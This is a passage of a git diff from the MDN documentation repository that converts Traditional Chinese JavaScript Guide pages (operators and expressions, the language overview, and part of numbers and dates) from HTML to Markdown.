類型的物件。 因為 `theDay` 是 `Date` 類型的物件, 所以 if 陳述中的陳述句會被執行。 + +```js +var theDay = new Date(1995, 12, 17); +if (theDay instanceof Date) { + // 會被執行的陳述 +} +``` + +### 運算子優先級 + +運算子優先級決定運算子被使用於運算元的先後順序。 你也可以使用括號來強制指定優先級。 + +下列表格列出了運算子的優先級, 從高到低。 + +| 運算子類型 | 屬於該類別的運算子 | +| -------------- | ----------------------------------------- | +| 成員 | `. []` | +| 呼叫/建立 實例 | `() new` | +| 反向/增加 | `! ~ - + ++ -- typeof void delete` | +| 乘法/除法 | `* / %` | +| 加法/減法 | `+ -` | +| 位元移動 | `<< >> >>>` | +| 關係運算子 | `< <= > >= in instanceof` | +| 相等性 | `== != === !==` | +| 位元 and | `&` | +| 位元 xor | `^` | +| 位元 or | `\|` | +| 邏輯 and | `&&` | +| 邏輯 or | `\|\|` | +| 條件運算子 | `?:` | +| 指定運算子 | `= += -= *= /= %= <<= >>= >>>= &= ^= \|=` | +| 逗點運算子 | `,` | + +這個表格更詳細的版本,解釋了運算子的更多細節和關聯性, 可以在 [JavaScript 參考](/zh-TW/docs/Web/JavaScript/Reference/Operators/Operator_Precedence#Table) 中被找到。 + +## 運算式 + +運算式是任何一段可以取得一個值的程式碼。 + +任何合乎語法的運算式都能取得一個值,概念上, 有兩種不同型態的運算式: 有副作用的 (例如: 將一個值指定給一個變數) 以及只為了取得值而解析的運算式。 + +運算式 `x = 7` 是上述的第一種類型。 這個使用 =\_ \_運算子的運算式會將數值 7 賦與給 x。 運算式本身也會被解析為 7。 + +運算式 `3 + 4` 是上述的第二種類型。 這個運算式使用 + 運算子把 3 和 4 加起來,而不指定給任何變數。 + +JavaScript 運算式有下列幾種種類: + +- 算術: 解析出數字, 例如 3.14159。(通常使用[算術運算子](#算術運算子)。) +- 字串: 解析出字串, 例如 "Fred" or "234"。(通常使用[字串運算子](#字串運算子)。) +- 邏輯: 解析出 True 或 False(通常與[邏輯運算子](#邏輯運算子)相關。) +- 主流運算式: JavaScript 基本的關鍵字及運算式。 +- 左側運算式: 左側是指定值的對象。 + +### 主流運算式 + +JavaScript 基本的關鍵字及運算式。 + +#### `this` + +[`this` 關鍵字](/zh-TW/docs/Web/JavaScript/Reference/Operators/this) 能取得當前所在物件。 一般而言, `this` 能取得呼叫處所在的物件。 你可以使用 點 或是 中括號 來取用該物件中的特性: + +```plain +this['特性名稱'] +this.特性名稱 +``` + +以下定義一個叫做 `validate` 的函式,比較物件中特性 `value 與傳入的兩變數`: + +```js +function validate(obj, lowval, hival){ + if ((obj.value < lowval) || (obj.value > hival)) + console.log('不可用的值!'); +} +``` + +你可以在表單的 `onChange` event handler 中呼叫 `validate` 函式, 並以 `this` 來傳入表單的元素, 範例如下: + +```html +

請輸入一介於18 與 99 的數字:

+ +``` + +#### 分組運算子 + +分組運算子 `( )` 控制了運算子的優先順序。 例如,你可以覆寫先乘除,後加減的優先順序,使其變成先加減,後乘除。 + +```js +var a = 1; +var b = 2; +var c = 3; + +// 預設運算級 +a + b * c // 7 +// 預設的結果 +a + (b * c) // 7 + +// 現在複寫運算級 +// 變成先進行加法,後乘法了 +(a + b) * c // 9 + +// 結果 +a * c + b * c // 9 +``` + +#### 解析 + +解析是 JavaScript 中的一個實驗性功能, 在未來版本的 ECMAScript 計畫被導入。有兩種不同類型的解析: + +- {{experimental_inline}} {{jsxref("Operators/Array_comprehensions", "[for (x of y) x]")}} + - : 陣列解析。 +- {{experimental_inline}} {{jsxref("Operators/Generator_comprehensions", "(for (x of y) y)")}} + - : 產生器解析。 + +解析在許多程式語言中都存在,允許你快速地基於現存陣列產生新的陣列,例如: + +```js +[for (i of [ 1, 2, 3 ]) i*i ]; +// [ 1, 4, 9 ] + +var abc = [ 'A', 'B', 'C' ]; +[for (letters of abc) letters.toLowerCase()]; +// [ 'a', 'b', 'c' ] +``` + +### 左側運算式 + +左側是指定值的對象。 + +#### `new` + +你可以使用 [`new` 運算子](/zh-TW/docs/Web/JavaScript/Reference/Operators/new) 來建立一個使用者自定義物件或內建物件的實例。 用法如下: + +```js +var 物件名稱 = new 物件型態([參數1, 參數2, ..., 參數N]); +``` + +#### super + +[super 關鍵字](/zh-TW/docs/Web/JavaScript/Reference/Operators/super) 用於呼叫物件的父物件中的函式。 在使用 [類別](/zh-TW/docs/Web/JavaScript/Reference/Classes) 來呼叫父類別的建構子時很實用,例如: + +```plain +super([參數]); // 呼叫父物件的建構子. +super.父物件的函式([參數]); +``` + +#### 展開運算子 + +[展開運算子](/zh-TW/docs/Web/JavaScript/Reference/Operators/Spread_operator)能將運算式展開於需要多個參數的地方 (如函式呼叫) 或是需要多個元素 (如陣列字串常數) 的地方。 + +**範例:** 現在你想要用已存在的一個陣列做為新的一個陣列的一部份,當字串常數不再可用而你必須使用指令式編程,也就是使用,一連串的 `push`, `splice`, `concat`,等等。 展開運算子能讓過程變得更加簡潔: + +```js +var parts = ['肩膀', '膝蓋']; +var lyrics = ['頭', ...parts, '和', '腳趾']; +``` + +相同的,展開運算子也適用於函式呼叫: + +```js +function f(x, y, z) { } +var args = [0, 1, 2]; +f(...參數); +``` + +{{PreviousNext("Web/JavaScript/Guide/Functions", "Web/JavaScript/Guide/Numbers_and_dates")}} diff --git a/files/zh-tw/web/javascript/guide/introduction/index.html b/files/zh-tw/web/javascript/guide/introduction/index.html deleted file mode 100644 index 9d23ce0e3da717..00000000000000 --- a/files/zh-tw/web/javascript/guide/introduction/index.html +++ /dev/null @@ -1,180 +0,0 @@ ---- -title: JavaScript 概觀 -slug: Web/JavaScript/Guide/Introduction -translation_of: Web/JavaScript/Guide/Introduction ---- -

{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide", "Web/JavaScript/Guide/Grammar_and_types")}}

- -

這個章節的內容主要是介紹 JavaScript 和討論一些 JavaScript 的基本概念。

- -

在開始前需具備之能力

- -

本手冊假設您具有以下基本背景:

- -
    -
  • 對網際網路及全球資訊網有大致上的了解
  • -
  • 對HTML(HyperText Markup Language )語法理解至一定程度
  • -
  • 有寫過程式的經驗,若您是完全的新手,可嘗試在主頁上有關JavaScript的教程。
  • -
- -

- -

什麼是 JavaScript?

- -

JavaScript 是個跨平台、物件導向、輕小型的腳本語言。作為獨立語言並不實用,而是為了能簡單嵌入其他產品和應用程式(例如:網頁瀏覽器)而設計。JavaScript 若寄宿在主體環境(Host environment)時,可以與環境中的物件 (Object)相連,並以程式控制這些物件。

- -

Core JavaScript 包含了物件的核心集合(例如: Array、 Date、 Math)及語言成份的核心集合(例如:運算子、控制結構、敘述)。在 Core JavaScript 增加額外的物件即可擴充各式各樣的功能,例如:

- -
    -
  • 用戶端 - JavaScript 藉由提供物件來擴增核心語言達到控制網頁瀏覽器和其文件物件模型(DOM,Document Object Model)的目的。
  • -
- -

舉例來說:用戶端的擴充套件允許某個應用程式將元素放置在 HTML 的表單上及對使用者的操作(例如:滑鼠點選、表單輸入、頁面導覽等)做出回應。

- -
    -
  • 伺服器端 - JavaScript 藉由提供和伺服器上執行 JavaScript 相關的物件來擴增核心語言。
  • -
- -

舉例來說:伺服器端的擴充套件允許某個應用程式和相關的資料庫交換訊息、對一個其他應用程式的呼叫提供連續性的資訊、在伺服器上執行檔案操作。

- -

透過 JavaScript 的 LiveConnect 功能,你可以使 Java 和 JavaScript 的程式碼彼此相連。在 JavaScript 的程式碼中,你可以實例化(instantiate)Java 的物件並存取那些物件的公有方法(public methods)及欄位(fields)。在 Java 的程式碼中,你可以存取 JavaScript 的物件、屬性(properties)及方法(methods)。

- -

Netscape 公司發明了 JavaScript ,而 JavaScript 的第一次使用正是在 Netscape 自家的瀏覽器上。

- -

JavaScript 與 Java

- -

JavaScript 與 Java 在某些方面非常相似但本質上卻是不同的。 JavaScript 雖然和 Java 類似,卻沒有 Java 的靜態定型(static typing)及強型態確認(strong type checking)特性。 JavaScript 遵從大部份的 Java 表達式語法、命名傳統和基本的流程控制概念,這特性同時也是為何要將 LiveScript 重新命名為 JavaScript 的原因。

- -

相較於 Java 由許多類別中的宣告建立的 compile-time 系統,JavaScript 支援一個由少數代表數值(numeric)、布林值(Boolean)、字串(string)的資料類型所構成的執行期函式庫(runtime system)。JavaScript 擁有一個基於原型的物件模型(prototype-based object model)而不是普遍使用的基於類別的物件模型(class-based object model)。基於原型的物件模型提供動態繼承(dynamic inheritance)的功能,意即被繼承的物件可以根據個別的物件而改變。JavaScript 也支援不需任何特殊宣告的函式,函式可以是物件的屬性,如同鬆散型態方法(loosely typed method)那樣執行。

- -

JavaScript 和 Java 相比起來,算是一個格式非常自由的語言。你不需要宣告所有的變數、類別(class)、方法,你不需要注意哪些方法是公有(public)或私有(private)或受保護的(protected),你不需要實作介面(interface)。變數、參數及函式回傳的型態並不是顯性型態。

- -

Java 是一個為了快速執行與安全型態而設計的基於類別的程式語言(class-based programming language)。安全型態意即你在 Java 中無法將整數丟給一個物件參考,也無法藉由中斷 Java bytecodes 來存取私有的記憶體。 Java 的基於類別模型(class-based model)意思是程式由專門的類別及其方法所組成。Java 的類別繼承(class inheritance)和強型別(strong typing)通常需要嚴謹的耦合對象階級(coupled object hierarchies)。這些需求使得 Java 在程式的撰寫上比 JavaScript 來的複雜。

- -

相反的,JavaScript 承襲了如同 HyperTalk 和 dBASE 相同的精神:較小、動態類型。 這些腳本語言因為較簡單的語法、特殊化的功能、較寬鬆的要求等特性,進而提供了許多軟體開發工具(programming tool)給更多更廣大的愛好者。

- -

表1.1 - JavaScript 和 Java 比較

- - - - - - - - - - - - - - - - - - - - - - - -
JavaScriptJava
-

物件導向。

- -

物件的型態之間無區別。

- -

藉由原型機制(prototype mechanism)和屬性(properties)實行繼承。

- -

屬性和方法可被動態新增至任何物件。

-
-

類別導向。

- -

物件藉由類別階級(class hierarchy)而被分離至類別和所有繼承的實體(instance)中。

- -

類別和實體無法動態新增屬性和方法。

-
-

變數資料型態沒有宣告就可使用(動態定型,dynamic typing)。

-
-

變數資料型態必須宣告才可使用(靜態定型,static typing)。

-
無法自動覆寫到硬碟。無法自動覆寫到硬碟。
- -

更多關於 JavaScript 和 Java 的差異比較,請參見 Details of the Object Model

- -

JavaScript 與 ECMAScript 規格

- -

Netscape 公司發明了 JavaScript ,而 JavaScript 的第一次應用正是在 Netscape 瀏覽器。然而,Netscape 後來和 Ecma International(一個致力於將資訊及通訊系統標準化的歐洲組織,前身為 ECMA - 歐洲計算機製造商協會)合作,開發一個基於 JavaScript 核心並同時兼具標準化與國際化的程式語言,這個經過標準化的 JavaScript 便稱作 ECMAScript ,和 JavaScript 有著相同的應用方式並支援相關標準。各個公司都可以使用這個開放的標準語言去開發 JavaScript 的專案。ECMAScript 標準記載於 ECMA-262 這個規格中。

- -

ECMA-262 標準同時也經過 ISO(國際標準化組織)認証,成為 ISO-16262 標準。你可以在 Mozilla 的網站上找到 PDF版本的ECMA-262,但這板本已過期;你也可以在 Ecma International 的網站 找到這個規格。 ECMAScript 規格中並沒有描述已經被 W3C(全球資訊網協會)標準化的文件物件模型(DOM)。文件物件模型定義了 HTML 文件物件(document objects)和腳本之間運作的方式。

- -

JavaScript 版本與 ECMAScript 版本之間的關係

- -

ECMAScript 規格(ECMA-262)在 Netscape 和 Ecma International 的密切合作下產生。下表描述了 JavaScript 的版本和 ECMAScript 的版本之間的關係。

- -

表1.2 - JavaScript 版本及 ECMAScript 版本

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
JavaScript 的版本和 ECMAScript 版本的關係
JavaScript 1.1ECMA-262 第1版是基於 JavaScript 1.1 建立的。
JavaScript 1.2 -

ECMA-262 在 JavaScript 1.2 發行之際尚未完成。以下是 JavaScript 1.2 並未完全相容於 ECMA-262 第1版的原因:

- -
    -
  • Netscape 在 JavaScript 1.2 中新增了一些特性,而這些特性在 ECMA-262 並未被考慮到。
  • -
  • ECMA-262 新增了兩個新的特性:使用國際化的 Unicode 編碼及統一了不同平台之間的行為。JavaScript 1.2 中的一些特性,例如:日期物件(Date object)是具有平台依賴性(platform-dependent)並且使用平台特製化行為(platform-specific behavior)的。
  • -
-
JavaScript 1.3 -

JavaScript 1.3 完全相容於 ECMA-262 第1版。

- JavaScript 1.3 藉由保留所有在 JavaScript 1.2 新增的特性(除了 == 和 != 以外,因為要和 ECMA-262 一致),解決了 JavaScript 1.2 和 ECMA-262 之間的衝突。
JavaScript 1.4 -

JavaScript 1.4 完全相容於 ECMA-262 第1版。

- ECMAScript 第3版規格在 JavaScript 1.4 發行之際尚未完成。
JavaScript 1.5JavaScript 1.5 完全相容於 ECMA-262 第3版。
- -

備註:ECMA-262 第2版是由已修正錯誤的第1版並加上些微的更動構成。現今由 Ecma International 的 TC39 工作組(TC39 Working Group)所發行的版本是 ECMAScript 5.1版

- -

JavaScript Reference 指出了哪些 JavaScript 的特性是相容於 ECMAScript 的。

- -

JavaScript 永遠包含許多非 ECMAScript 規格中的特性;

- -

JavaScript 不僅相容於 ECMAScript 更提供了額外的特性。

- -

JavaScript 使用說明 v.s ECMAScript 規格

- -

ECMAScript 規格是執行 ECMAScript 所必須的條件,當你想判斷某個 JavaScript 的特性是否在其他 ECMAScript 實作中有被支援時,ECMAScript 規格是非常有用的。如果你打算撰寫 JavaScript 程式碼並在程式碼中使用僅有 ECMAScript 所支援的特性,那你可能需要查閱一下 ECMAScript 規格。

- -

ECMAScript 文件並不是為了幫助腳本程式設計師而撰寫,如果想知道撰寫腳本的相關資訊,請參考 JavaScript 使用說明。

- -

JavaScript 和 ECMAScript 的專門術語

- -

ECMAScript 規格使用的術語和語法對於 JavaScript 的程式設計師來說可能不是那麼的親切。雖然語言的描述在 ECMAScript 中可能會有所不同,但語言本身的性質仍然是不變的。JavaScript 支援所有在 ECMAScript 規格中被描述到的功能。

- -

JavaScript 使用說明對於語言的觀點的描述較適合 JavaScript 的程式設計師。例如:

- -
    -
  • 因為全域物件(Global Object)並不會被直接使用,所以並沒有在 JavaScript 文件說明中被論及。而像是全域物件的方法和屬性這些有被使用到的,就有在 JavaScript 使用說明中被論及,但被稱作頂層(top-level)函式和頂層屬性。
  • -
  • 無參數建構函式(no parameter constructor,也稱作零參數建構函式,zero-argument constructor)。帶有 Number 物件及 String 物件的無參數建構函式並沒有在 JavaScript 使用說明中被論及,因為其產生出來的東西用途有限:一個沒有參數的 Number 建構函式回傳 +0 、一個沒有參數的 String 建構函式回傳 "" (一個空字串)
  • -
diff --git a/files/zh-tw/web/javascript/guide/introduction/index.md b/files/zh-tw/web/javascript/guide/introduction/index.md new file mode 100644 index 00000000000000..a1018cd1319c56 --- /dev/null +++ b/files/zh-tw/web/javascript/guide/introduction/index.md @@ -0,0 +1,149 @@ +--- +title: JavaScript 概觀 +slug: Web/JavaScript/Guide/Introduction +translation_of: Web/JavaScript/Guide/Introduction +--- +{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide", "Web/JavaScript/Guide/Grammar_and_types")}} + +這個章節的內容主要是介紹 JavaScript 和討論一些 JavaScript 的基本概念。 + +## 在開始前需具備之能力 + +本手冊假設您具有以下基本背景: + +- 對網際網路及全球資訊網有大致上的了解 +- 對 HTML(HyperText Markup Language )語法理解至一定程度 +- 有寫過程式的經驗,若您是完全的新手,可嘗試在主頁上有關[JavaScript](/zh-TW/docs/Web/JavaScript)的教程。 + +## 什麼是 JavaScript? + +JavaScript 是個跨平台、物件導向、輕小型的腳本語言。作為獨立語言並不實用,而是為了能簡單嵌入其他產品和應用程式(例如:網頁瀏覽器)而設計。JavaScript 若寄宿在主體環境(Host environment)時,可以與環境中的物件 (Object)相連,並以程式控制這些物件。 + +Core JavaScript 包含了物件的核心集合(例如: `Array、` `Date、` `Math`)及語言成份的核心集合(例如:運算子、控制結構、敘述)。在 Core JavaScript 增加額外的物件即可擴充各式各樣的功能,例如: + +- 用戶端 - JavaScript 藉由提供物件來擴增核心語言達到控制網頁瀏覽器和其文件物件模型(DOM,Document Object Model)的目的。 + +舉例來說:用戶端的擴充套件允許某個應用程式將元素放置在 HTML 的表單上及對使用者的操作(例如:滑鼠點選、表單輸入、頁面導覽等)做出回應。 + +- 伺服器端 - JavaScript 藉由提供和伺服器上執行 JavaScript 相關的物件來擴增核心語言。 + +舉例來說:伺服器端的擴充套件允許某個應用程式和相關的資料庫交換訊息、對一個其他應用程式的呼叫提供連續性的資訊、在伺服器上執行檔案操作。 + +透過 JavaScript 的 LiveConnect 功能,你可以使 Java 和 JavaScript 的程式碼彼此相連。在 JavaScript 的程式碼中,你可以實例化(instantiate)Java 的物件並存取那些物件的公有方法(public methods)及欄位(fields)。在 Java 的程式碼中,你可以存取 JavaScript 的物件、屬性(properties)及方法(methods)。 + +Netscape 公司發明了 JavaScript ,而 JavaScript 的第一次使用正是在 Netscape 自家的瀏覽器上。 + +## JavaScript 與 Java + +JavaScript 與 Java 在某些方面非常相似但本質上卻是不同的。 JavaScript 雖然和 Java 類似,卻沒有 Java 的靜態定型(static typing)及強型態確認(strong type checking)特性。 JavaScript 遵從大部份的 Java 表達式語法、命名傳統和基本的流程控制概念,這特性同時也是為何要將 LiveScript 重新命名為 JavaScript 的原因。 + +相較於 Java 由許多類別中的宣告建立的 compile-time 系統,JavaScript 支援一個由少數代表數值(numeric)、布林值(Boolean)、字串(string)的資料類型所構成的執行期函式庫(runtime system)。JavaScript 擁有一個基於原型的物件模型(prototype-based object model)而不是普遍使用的基於類別的物件模型(class-based object model)。基於原型的物件模型提供動態繼承(dynamic inheritance)的功能,意即被繼承的物件可以根據個別的物件而改變。JavaScript 也支援不需任何特殊宣告的函式,函式可以是物件的屬性,如同鬆散型態方法(loosely typed method)那樣執行。 + +JavaScript 和 Java 相比起來,算是一個格式非常自由的語言。你不需要宣告所有的變數、類別(class)、方法,你不需要注意哪些方法是公有(public)或私有(private)或受保護的(protected),你不需要實作介面(interface)。變數、參數及函式回傳的型態並不是顯性型態。 + +Java 是一個為了快速執行與安全型態而設計的基於類別的程式語言(class-based programming language)。安全型態意即你在 Java 中無法將整數丟給一個物件參考,也無法藉由中斷 Java bytecodes 來存取私有的記憶體。 Java 的基於類別模型(class-based model)意思是程式由專門的類別及其方法所組成。Java 的類別繼承(class inheritance)和強型別(strong typing)通常需要嚴謹的耦合對象階級(coupled object hierarchies)。這些需求使得 Java 在程式的撰寫上比 JavaScript 來的複雜。 + +相反的,JavaScript 承襲了如同 HyperTalk 和 dBASE 相同的精神:較小、動態類型。 這些腳本語言因為較簡單的語法、特殊化的功能、較寬鬆的要求等特性,進而提供了許多軟體開發工具(programming tool)給更多更廣大的愛好者。 + +表 1.1 - JavaScript 和 Java 比較 + +| JavaScript | Java | +| ----------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------- | +| 物件導向。物件的型態之間無區別。藉由原型機制(prototype mechanism)和屬性(properties)實行繼承。屬性和方法可被動態新增至任何物件。 | 類別導向。物件藉由類別階級(class hierarchy)而被分離至類別和所有繼承的實體(instance)中。類別和實體無法動態新增屬性和方法。 | +| 變數資料型態沒有宣告就可使用(動態定型,dynamic typing)。 | 變數資料型態必須宣告才可使用(靜態定型,static typing)。 | +| 無法自動覆寫到硬碟。 | 無法自動覆寫到硬碟。 | + +更多關於 JavaScript 和 Java 的差異比較,請參見 [Details of the Object Model](/zh-TW/docs/JavaScript/Guide/Details_of_the_Object_Model) 。 + +## JavaScript 與 ECMAScript 規格 + +Netscape 公司發明了 JavaScript ,而 JavaScript 的第一次應用正是在 Netscape 瀏覽器。然而,Netscape 後來和 [Ecma International](http://www.ecma-international.org/)(一個致力於將資訊及通訊系統標準化的歐洲組織,前身為 ECMA - 歐洲計算機製造商協會)合作,開發一個基於 JavaScript 核心並同時兼具標準化與國際化的程式語言,這個經過標準化的 JavaScript 便稱作 ECMAScript ,和 JavaScript 有著相同的應用方式並支援相關標準。各個公司都可以使用這個開放的標準語言去開發 JavaScript 的專案。ECMAScript 標準記載於 ECMA-262 這個規格中。 + +ECMA-262 標準同時也經過 [ISO](http://www.iso.ch/)(國際標準化組織)認証,成為 ISO-16262 標準。你可以在 Mozilla 的網站上找到 [PDF 版本的 ECMA-262](http://www-archive.mozilla.org/js/language/E262-3.pdf),但這板本已過期;你也可以在[ Ecma International 的網站](http://www.ecma-international.org/publications/standards/Ecma-262.htm) 找到這個規格。 ECMAScript 規格中並沒有描述已經被 W3C(全球資訊網協會)標準化的文件物件模型(DOM)。文件物件模型定義了 HTML 文件物件(document objects)和腳本之間運作的方式。 + +### JavaScript 版本與 ECMAScript 版本之間的關係 + +ECMAScript 規格(ECMA-262)在 Netscape 和 Ecma International 的密切合作下產生。下表描述了 JavaScript 的版本和 ECMAScript 的版本之間的關係。 + +表 1.2 - JavaScript 版本及 ECMAScript 版本 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
JavaScript 的版本和 ECMAScript 版本的關係
JavaScript 1.1ECMA-262 第1版是基於 JavaScript 1.1 建立的。
JavaScript 1.2 +

+ ECMA-262 在 JavaScript 1.2 發行之際尚未完成。以下是 JavaScript 1.2 + 並未完全相容於 ECMA-262 第1版的原因: +

+
    +
  • + Netscape 在 JavaScript 1.2 中新增了一些特性,而這些特性在 ECMA-262 + 並未被考慮到。 +
  • +
  • + ECMA-262 新增了兩個新的特性:使用國際化的 Unicode + 編碼及統一了不同平台之間的行為。JavaScript 1.2 + 中的一些特性,例如:日期物件(Date + object)是具有平台依賴性(platform-dependent)並且使用平台特製化行為(platform-specific + behavior)的。 +
  • +
+
JavaScript 1.3 +

JavaScript 1.3 完全相容於 ECMA-262 第1版。

+ JavaScript 1.3 藉由保留所有在 JavaScript 1.2 新增的特性(除了 == 和 != + 以外,因為要和 ECMA-262 一致),解決了 JavaScript 1.2 和 ECMA-262 + 之間的衝突。 +
JavaScript 1.4 +

JavaScript 1.4 完全相容於 ECMA-262 第1版。

+ ECMAScript 第3版規格在 JavaScript 1.4 發行之際尚未完成。 +
JavaScript 1.5JavaScript 1.5 完全相容於 ECMA-262 第3版。
+ +> **備註:** ECMA-262 第 2 版是由已修正錯誤的第 1 版並加上些微的更動構成。現今由 Ecma International 的 TC39 工作組(TC39 Working Group)所發行的版本是 ECMAScript 5.1 版 + +[JavaScript Reference](/zh-TW/docs/JavaScript/Reference) 指出了哪些 JavaScript 的特性是相容於 ECMAScript 的。 + +JavaScript 永遠包含許多非 ECMAScript 規格中的特性; + +JavaScript 不僅相容於 ECMAScript 更提供了額外的特性。 + +### JavaScript 使用說明 v.s ECMAScript 規格 + +ECMAScript 規格是執行 ECMAScript 所必須的條件,當你想判斷某個 JavaScript 的特性是否在其他 ECMAScript 實作中有被支援時,ECMAScript 規格是非常有用的。如果你打算撰寫 JavaScript 程式碼並在程式碼中使用僅有 ECMAScript 所支援的特性,那你可能需要查閱一下 ECMAScript 規格。 + +ECMAScript 文件並不是為了幫助腳本程式設計師而撰寫,如果想知道撰寫腳本的相關資訊,請參考 JavaScript 使用說明。 + +### JavaScript 和 ECMAScript 的專門術語 + +ECMAScript 規格使用的術語和語法對於 JavaScript 的程式設計師來說可能不是那麼的親切。雖然語言的描述在 ECMAScript 中可能會有所不同,但語言本身的性質仍然是不變的。JavaScript 支援所有在 ECMAScript 規格中被描述到的功能。 + +JavaScript 使用說明對於語言的觀點的描述較適合 JavaScript 的程式設計師。例如: + +- 因為全域物件(Global Object)並不會被直接使用,所以並沒有在 JavaScript 文件說明中被論及。而像是全域物件的方法和屬性這些有被使用到的,就有在 JavaScript 使用說明中被論及,但被稱作頂層(top-level)函式和頂層屬性。 +- 無參數建構函式(no parameter constructor,也稱作零參數建構函式,zero-argument constructor)。帶有 Number 物件及 String 物件的無參數建構函式並沒有在 JavaScript 使用說明中被論及,因為其產生出來的東西用途有限:一個沒有參數的 Number 建構函式回傳 +0 、一個沒有參數的 String 建構函式回傳 "" (一個空字串) diff --git a/files/zh-tw/web/javascript/guide/numbers_and_dates/index.html b/files/zh-tw/web/javascript/guide/numbers_and_dates/index.html deleted file mode 100644 index db48f03b91a74a..00000000000000 --- a/files/zh-tw/web/javascript/guide/numbers_and_dates/index.html +++ /dev/null @@ -1,383 +0,0 @@ ---- -title: 數字與日期 -slug: Web/JavaScript/Guide/Numbers_and_dates -translation_of: Web/JavaScript/Guide/Numbers_and_dates ---- -
{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Expressions_and_Operators", "Web/JavaScript/Guide/Text_formatting")}}
- -

這個章節將介紹如何在 JavaScript 中處理數字與日期。

- -

數字(Numbers)

- -

在 JavaScript 中, Number所使用的標準依照 double-precision 64-bit binary format IEEE 754 (i.e. number的區間是 -(2^53 -1) 到 2^53 -1)。整數是沒有特定的類型

- -

此外還可以顯示浮點數,三種符號數值: +{{jsxref("Infinity")}}, -{{jsxref("Infinity")}}, and {{jsxref("NaN")}} (not-a-number)。

- -

{{jsxref("BigInt")}} 是Javascript最新的功能,它可以表示一個很大的整數。使用 BigInt需要注意一點BigInt 和{{jsxref("Number")}}不能在同一個operation混用還有當用 {{jsxref("Math")}} 物件時不能使用BigInt

- -

請參照 JavaScript data types and structures 來取得更多詳細資料。

- -

你可以用四種進制表示數字:十進制 (decimal),二進制 (binary),八進制 (octal) 以及十六進制 (hexadecimal)。

- -

十進制數值

- -
1234567890
-42
-
-// 以零為開頭時要小心:
-
-0888 // 888 解析為 十進制數值
-0777 // 在 non-strict 模式下將解析成八進制 (等同於十進制的 511)
-
- -

請注意,十進位數字允許第一個數字設為零(0)的話,前提是後面接的數字必須要有一個數字大於8(例如輸入0888結果會是888,輸入068結果會是68),不然則會被轉成8進位(例如0777結果會是511,輸入063結果會是51)。

- -

二進制數值

- -

二進制數值以 0 為開頭並跟著一個大寫或小寫的英文字母 「B」 (0b0B)。如果 0b 後面接著的數字不是 0 或 1,那會丟出 SyntaxError(語法錯誤): "Missing binary digits after 0b"。

- -
var FLT_SIGNBIT  = 0b10000000000000000000000000000000; // 2147483648
-var FLT_EXPONENT = 0b01111111100000000000000000000000; // 2139095040
-var FLT_MANTISSA = 0B00000000011111111111111111111111; // 8388607
- -

八進制數值

- -

八進制數值以 0 為開頭。如果 0 後面的數字超出 0 到 7 這個範圍,將會被解析成十進制數值。

- -
var n = 0755; // 493
-var m = 0644; // 420
-
- -

Strict mode in ECMAScript 5 forbids octal syntax. Octal syntax isn't part of ECMAScript 5, but it's supported in all browsers by prefixing the octal number with a zero: 0644 === 420 and"\045" === "%". In ECMAScript 2015, octal numbers are supported if they are prefixed with 0o, e.g.:

- -
var a = 0o10; // ES2015: 8
-
- -

十六進制數值

- -

十六進制數值以 0 為開頭並跟著一個大寫或小寫的英文字母 「X」(0x0X)。如果 0b 後面接著的值超出範圍 (0123456789ABCDEF),那會丟出 SyntaxError(語法錯誤):"Identifier starts immediately after numeric literal"。

- -
0xFFFFFFFFFFFFFFFFF // 295147905179352830000
-0x123456789ABCDEF   // 81985529216486900
-0XA                 // 10
-
- -

指數運算

- -
1E3   // 1000
-2e6   // 2000000
-0.1e2 // 10
- -

Number 物件

- -

The built-in {{jsxref("Number")}} object has properties for numerical constants, such as maximum value, not-a-number, and infinity. You cannot change the values of these properties and you use them as follows:

- -
var biggestNum = Number.MAX_VALUE;
-var smallestNum = Number.MIN_VALUE;
-var infiniteNum = Number.POSITIVE_INFINITY;
-var negInfiniteNum = Number.NEGATIVE_INFINITY;
-var notANum = Number.NaN;
-
- -

You always refer to a property of the predefined Number object as shown above, and not as a property of a Number object you create yourself.

- -

下面這張表格整理了 Number 物件的屬性

- -

Number 的屬性

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
屬性描述
{{jsxref("Number.MAX_VALUE")}}可表示的最大數值
{{jsxref("Number.MIN_VALUE")}}可表示的最小數值
{{jsxref("Number.NaN")}}表示「非數值」(Not-A-Number)的數值
{{jsxref("Number.NEGATIVE_INFINITY")}}Special negative infinite value; returned on overflow
{{jsxref("Number.POSITIVE_INFINITY")}}Special positive infinite value; returned on overflow
{{jsxref("Number.EPSILON")}}Difference between one and the smallest value greater than one that can be represented as a {{jsxref("Number")}}.
{{jsxref("Number.MIN_SAFE_INTEGER")}}可以在 JavaScript 中安全表示的最小數值。
{{jsxref("Number.MAX_SAFE_INTEGER")}}可以在 JavaScript 中安全表示的最大數值。
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Number 的方法
方法描述
{{jsxref("Number.parseFloat()")}}字串轉換成浮點數。
- 等同於全域函式 {{jsxref("parseFloat", "parseFloat()")}} 。
{{jsxref("Number.parseInt()")}}以指定的基數將字串轉換成整數。
- 等同於全域函式 {{jsxref("parseInt", "parseInt()")}} 。
{{jsxref("Number.isFinite()")}}判定給定的值是不是一個有限數。
{{jsxref("Number.isInteger()")}}判定給定的值是不是一個整數
{{jsxref("Number.isNaN()")}}Determines whether the passed value is {{jsxref("Global_Objects/NaN", "NaN")}}. More robust version of the original global {{jsxref("Global_Objects/isNaN", "isNaN()")}}.
{{jsxref("Number.isSafeInteger()")}}Determines whether the provided value is a number that is a safe integer.
- -

The Number prototype provides methods for retrieving information from Number objects in various formats. The following table summarizes the methods of Number.prototype.

- - - - - - - - - - - - - - - - - - - - - - - -
Number.prototype 的方法
方法描述
{{jsxref("Number.toExponential", "toExponential()")}}Returns a string representing the number in exponential notation.
{{jsxref("Number.toFixed", "toFixed()")}}Returns a string representing the number in fixed-point notation.
{{jsxref("Number.toPrecision", "toPrecision()")}}Returns a string representing the number to a specified precision in fixed-point notation.
- -

Math 物件

- -

The built-in {{jsxref("Math")}} object has properties and methods for mathematical constants and functions. For example, the Math object's PI property has the value of pi (3.141...), which you would use in an application as

- -
Math.PI
-
- -

